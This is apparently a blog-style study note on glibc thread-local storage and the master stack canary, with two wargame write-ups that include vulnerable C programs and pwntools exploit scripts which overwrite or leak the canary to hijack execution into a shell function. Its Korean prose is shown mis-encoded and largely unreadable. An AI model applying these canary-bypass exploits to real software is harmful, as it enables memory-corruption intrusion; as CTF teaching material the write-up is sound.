TIL: Master canary ๐ฅ
TLS
TLS (Thread Local Storage)๋ thread์ ์ ์ญ ๋ณ์๋ฅผ ์ ์ฅํ๊ธฐ ์ํ ์ ์ฅ ๊ณต๊ฐ์ ์๋ฏธํ๋ค. TLS๋ loader์ ์ํด ํ ๋น๋๋ค.
init_tls
์๋๋ loader๊ฐ TLS ์์ญ์ ํ ๋นํ๊ณ ์ด๊ธฐํํ๋ ํจ์์ธ init_tls
์ ์ฝ๋์ด๋ค.
static void *
init_tls (void)
{
/* Construct the static TLS block and the dtv for the initial
thread. For some platforms this will include allocating memory
for the thread descriptor. The memory for the TLS block will
never be freed. It should be allocated accordingly. The dtv
array can be changed if dynamic loading requires it. */
void *tcbp = _dl_allocate_tls_storage ();
if (tcbp == NULL)
_dl_fatal_printf ("\
cannot allocate TLS data structures for initial thread\n");
/* Store for detection of the special case by __tls_get_addr
so it knows not to pass this dtv to the normal realloc. */
GL(dl_initial_dtv) = GET_DTV (tcbp);
/* And finally install it for the main thread. */
const char *lossage = TLS_INIT_TP (tcbp);
if (__glibc_unlikely (lossage != NULL))
_dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
tls_init_tp_called = true;
return tcbp;
}
_dl_allocate_tls_storage
์์ TLS ์์ญ์ ํ ๋นํ๊ณ , ์ด๋ฅผtcbp
์ ์ ์ฅํ ๋ค ์ด๋ฅผTLS_INIT_TP
์ ์ธ์๋ก ์ ๋ฌํ๋ค.
TLS_INIT_TP
๋งคํฌ๋ก๋ ์๋์ ๊ฐ์ด ์ ์๋์ด ์๋ค.
# define TLS_INIT_TP(thrdescr) \
({ void *_thrdescr = (thrdescr); \
tcbhead_t *_head = _thrdescr; \
int _result; \
\
_head->tcb = _thrdescr; \
/* For now the thread descriptor is at the same address. */ \
_head->self = _thrdescr; \
\
/* It is a simple syscall to set the %fs value for the thread. */ \
asm volatile ("syscall" \
: "=a" (_result) \
: "0" ((unsigned long int) __NR_arch_prctl), \
"D" ((unsigned long int) ARCH_SET_FS), \
"S" (_thrdescr) \
: "memory", "cc", "r11", "cx"); \
\
_result ? "cannot set %fs base address for thread-local storage" : 0; \
})
arch_prctl
system call์ ์ฒซ ๋ฒ์งธ argument๋กARCH_SET_FS
, ๋ ๋ฒ์งธ argument๋ก ํ ๋นํ TLS ์ฃผ์๊ฐ ์ ๋ฌ๋๋ค.arch_prctl
์ARCH_SET_FS
๋ process์ fs segment register๋ฅผ ๋ ๋ฒ์งธ argument๋ก ์ด๊ธฐํํ๋ ์์ ์ ์ํํ๋ค. โ FS segment regitser๋ TLS ์์ญ์ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค.
Master Canary
Canary๋ buffer๋ฅผ ์ฌ์ฉํ๋ ํจ์์ prologue์์ fs:0x28
์ ์์นํ๋ ๊ฐ์ ๊ฐ์ ธ์ rbp ๋ฐ๋ก ์์ ์ฝ์
ํ์ฌ ์์ฑ๋๋ค.
์์์ ํ์ธํ๋ฏ์ด, fs๋ TLS๋ฅผ ๊ฐ๋ฆฌํค๋ฏ๋ก TLS ์ฃผ์์ 0x28 byte ๋งํผ ๋จ์ด์ง ์ฃผ์์ ์์นํ randomํ ๊ฐ์ ์นด๋๋ฆฌ๋ก ์ฌ์ฉํ๋ ๊ฒ์ด๋ค. โ ์ด ๊ฐ์ Master Canary๋ผ๊ณ ๋ถ๋ฅธ๋ค.
Stack buffer๋ฅผ ์ฌ์ฉํ๋ ๋ชจ๋ ํจ์์์ Master canary๋ฅผ ์ด์ฉํด canary๋ฅผ ์์ฑํ๋ฏ๋ก, ๋ชจ๋ ํจ์์์ ์ฌ์ฉํ๋ canary๋ ๋์ผํ๋ค.
security_init
security_init
์ TLS ์์ญ์ ๋๋คํ canary ๊ฐ์ ํ ๋นํ๋ค.
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard
= _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;
/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}
_dl_setup_stack_chk_guard
๋ kernel์์ ์์ฑํ random ๊ฐ์ ๊ฐ๋ pointer์ธ_dl_random
์ ์ธ์๋ก canary๋ฅผ ์์ฑํ๋ค.
_dl_setup_stack_chk_guard
_dl_setup_stack_chk_guard
๋ _dl_random
์ ์ด์ฉํด canary ๊ฐ์ ์์ฑํ๋ค.
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = '\n';
}
else
{
memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
- binary์ byte ordering์ ๋ฐ๋ผ AND ์ฐ์ฐ์ ์์ ํ๋๋ฐ, ๊ฐ์ ์ฒซ byte ํน์ ๋ง์ง๋ง byte๋ฅผ NULL๋ก ๋ณํํ๋ค. โ canary์ ์ฒซ byte๊ฐ NULL์ธ ์ด์
THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD
๋งคํฌ๋ก๋ฅผ ์ด์ฉํด _dl_setup_stack_chk_guard
๊ฐ ์์ฑํ ๊ฐ์ header.stack_guard
์ ์ฝ์
ํ๋ค.
TLS ์์ญ์ tcbhead_t
struct๋ก ๊ตฌ์ฑ๋์ด ์๋๋ฐ, stack_guard
๋ canary์ ๊ฐ์ ๊ฐ๋ member variable์ด๋ค. ๋ฐ๋ผ์, THREAD_SET_STACK_GUARD
๋ TLS + 0x28
์ canary ๊ฐ์ ์ฝ์
ํ๋ ๋งคํฌ๋ก์ด๋ค.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
int private_futex;
#else
int __glibc_reserved1;
#endif
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
} tcbhead_t;
Bypass Canary
Thread Stack
Thread ํจ์์์ ์ ์ธ๋ ๋ณ์๋ ์ผ๋ฐ์ ์ธ stack ์์ญ์ด ์๋, TLS์ ์ธ์ ๋ ์์ญ์ stack์ ํ ๋น๋๋ค. ๊ทธ๋ฌ๋ thread ํจ์๋ ์ผ๋ฐ ํจ์์ ๋์ผํ๊ฒ mater canary๋ฅผ ์ฐธ์กฐํ๋ค.
Thread์์ ํ ๋นํ ๋ณ์๋ master canary๋ณด๋ค ๋ฎ์ ์ฃผ์์ ์์นํ๊ธฐ ๋๋ฌธ์, BOF๊ฐ ๋ฐ์ํ๋ค๋ฉด master canary๋ฅผ ๋ฎ์ด์ธ ์ ์๋ค. โ master canary๋ฅผ ๋ฎ์ด ์ด๋ค๋ฉด stack canary๋ฅผ ์์๋ผ ํ์ ์์ด exploitํ ์ ์๋ค.
Wargame: mc_thread
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
//read(0, buf, size);
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
๋ถ์
thread_routine
์ disassembleํด ํ์ธํ๋ฉด, thread buffer๊ฐrbp-0x110
์ ์์นํจ์ ํ์ธํ ์ ์๋ค. (0x7ffff77c1de0)- gdb๋ฅผ ์ด์ฉํ๋ฉด
$fs_base
๋ฅผ ์ ๋ ฅํด fs์ ์ฃผ์๋ฅผ ์ ์ ์๊ณ , ์ด๋ฅผ ํตํด master canary์ ์ฃผ์๋ฅผ ํ์ธํ ์ ์๋ค. - thread buffer์ master canary ์ฌ์ด์ offset์ด 0x948์์ ํ์ธํ์ผ๋ฉด, ์ด๋ฅผ ์ด์ฉํด payload๋ฅผ ๊ตฌ์ฑํ๋ค.
- payload๋ master canary๋ฅผ โAAAAAAAAโ๋ก overwriteํ๊ณ , stack์ canary๋ โAAAAAAAAโ๋ก overwriteํ๋๋ก ๊ตฌ์ฑํ๋ค. ๋ํ payload๊ฐ return address๋ฅผ
giveshell
์ ์ฃผ์๋ก overwriteํ๋๋ก ๊ตฌ์ฑํ๋ค.
Exploit
from pwn import *
#p = process("./mc_thread")
p = remote("host3.dreamhack.games", 15907)
e = ELF("./mc_thread")
payload = b"A"*256
payload += b"A"*8
payload += b"A"*0x10
payload += p64(e.symbols["giveshell"])
payload += b"A"*(0x948 - len(payload))
payload += b"A"*0x8
p.sendlineafter("Size: ", str(len(payload)))
p.sendafter("Data: ", payload)
p.interactive()
Wargame: master_canary
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
๋ถ์
-
gdb๋ฅผ ์ด์ฉํด canary์ ๊ฐ์ ํ์ธํ ํ,
find [canary]
๋ก ๊ฒ์ํ๋ฉด canary ๊ฐ์ ๊ฐ์ง ์ฃผ์๊ฐ ์ด 3๊ฐ ์์์ ํ์ธํ ์ ์๋ค.- ์์ ๋ ๊ฐ์ ์ฃผ์๋ ๊ฐ๊ฐ peer thread์ main thread์ master canary์ด๊ณ , ๋ง์ง๋ง ์ฃผ์๋ stack ์์ ์กด์ฌํ๋ canary์์ ์ ์ ์๋ค.
-
global_buffer
์ ์ฃผ์๋ 0x7ffff77eee40์ด๋ฏ๋ก, ์ฒซ ๋ฒ์งธ ์ฃผ์๊น์ง์ offset์ด 0x8e8, ๋ ๋ฒ์งธ ์ฃผ์๊น์ง์ offset์ด 0x7fd8e8์ด๋ค. main thread์ master canary๋ฅผ overwriteํ๊ธฐ์๋ offset์ด ๋๋ฌด ํฌ๋ฏ๋ก peer thread์ master canary๋ฅผ leakํ๋ ๋ฐฉ์์ผ๋ก exploitํ๋ค.
Exploit
from pwn import *
#p = process("./master_canary")
p = remote("host3.dreamhack.games", 22021)
#gdb.attach(p)
e = ELF("./master_canary")
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "2")
payload = b"A"*(0x8e8+1)
p.sendlineafter("Size: ", str(int(0x8e8+1)))
p.sendafter("Data: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
p.sendlineafter("> ", "3")
payload = b"A" * (0x20 + 0x8) + p64(canary) + b"A"*0x8 + p64(e.symbols["get_shell"])
p.sendafter("Leave comment: ", payload)
p.interactive()
Leave a comment